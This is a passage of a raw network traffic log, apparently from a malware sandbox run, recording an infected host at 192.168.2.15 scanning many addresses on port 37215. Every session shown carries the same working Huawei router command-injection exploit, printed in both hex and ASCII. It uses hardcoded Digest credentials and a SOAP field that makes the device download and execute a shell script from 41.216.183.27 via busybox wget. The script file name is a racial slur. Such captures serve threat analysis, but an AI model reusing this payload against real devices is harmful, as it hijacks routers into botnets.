HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.15	41146	94.122.105.224	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.113190889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.15	37826	94.123.13.122	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.123394012 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.15	46798	94.187.104.4	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.391035080 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.15	35326	94.121.54.85	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.391333103 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.15	58566	94.123.1.240	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.391486883 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.15	40304	94.120.14.96	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.391625881 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.15	40136	94.121.184.59	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.391772032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.15	42382	94.121.202.155	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.391922951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.15	34002	94.121.221.50	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.392101049 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 